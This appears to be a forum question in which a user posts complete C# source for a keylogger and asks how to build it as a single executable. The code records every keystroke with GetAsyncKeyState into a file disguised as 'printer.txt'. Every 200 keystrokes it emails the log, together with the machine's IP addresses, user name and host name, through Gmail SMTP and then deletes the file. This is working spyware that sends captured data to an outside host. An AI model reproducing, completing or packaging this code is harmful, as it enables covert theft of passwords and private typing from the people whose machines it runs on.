I started coding a keylogger in Visual Studio 2019 with C# and I tried to generate (build) the program.
Visual Studio creates the .exe
file but also a dll file named keylogger.dll
But I would like to just have a single exe file.
Here is my code:
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Net;
using System.Net.Mail;
namespace Keylogger
{
class Program
{
[DllImport("User32.dll")]
private static extern int GetAsyncKeyState(Int32 i);
static long numberOfKeystrokes = 0;
static void Main(string[] args)
{
new Program().start();
}
private void start()
{
string filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
if (!Directory.Exists(filepath))
{
Directory.CreateDirectory(filepath);
//Create mydocumentsdirectory if doesn't exitst
}
string path = (filepath + @"\printer.txt");
if (!File.Exists(path))
{
using (StreamWriter sw = File.CreateText(path))
{
}
}
while (true)
{
Thread.Sleep(5);
//Check all keys state
for (int i = 32; i < 127; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 32769)
{
Console.Write(i + ", ");
//STORAGE
using (StreamWriter sw = File.AppendText(path))
{
sw.Write(verifyKey(i));
}
numberOfKeystrokes++;
// Send every 200 character typed
if (numberOfKeystrokes >= 200)
{
SendNewMessage();
numberOfKeystrokes = 0;
File.Delete(path);
}
}
}
}
}//main
private String verifyKey(int code)
{
String key = "";
if (code == 8) key = "[Back]";
else if (code == 9) key = "[TAB]";
else if (code == 13) key = "[Enter]";
else if (code == 19) key = "[Pause]";
else if (code == 20) key = "[Caps Lock]";
//etc
else if (code == 221) key = "[";
else if (code == 222) key = "~";
else if (code == 226) key = "\\";
else key = "[" + code + "]";
return key;
}
static void SendNewMessage()
{
//send the txt file
String folderName = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
string filePath = folderName + @"\printer.txt";
String logContents = File.ReadAllText(filePath);
string emailBody = "";
//create the email
DateTime now = DateTime.Now;
var host = Dns.GetHostEntry(Dns.GetHostName());
foreach (var adress in host.AddressList)
{
emailBody += "\n Adress" + adress;
}
emailBody += "\n User :" + Environment.UserDomainName + "\\" + Environment.UserName;
emailBody += "\n Host :" + host;
emailBody += "\n Time :" + now.ToString();
emailBody += "\n" + logContents;
SmtpClient client = new SmtpClient("smtp.gmail.com", 587);
MailMessage mailMessage = new MailMessage();
mailMessage.From = new MailAddress("email@gmail.com");
mailMessage.To.Add("email@gmail.com");
mailMessage.Subject = "Keylogger";
client.UseDefaultCredentials = false;
client.EnableSsl = true;
client.Credentials = new System.Net.NetworkCredential("email@gmail.com", "Password123");
mailMessage.Body = emailBody;
client.Send(mailMessage);
}
}
}
Thanks in advance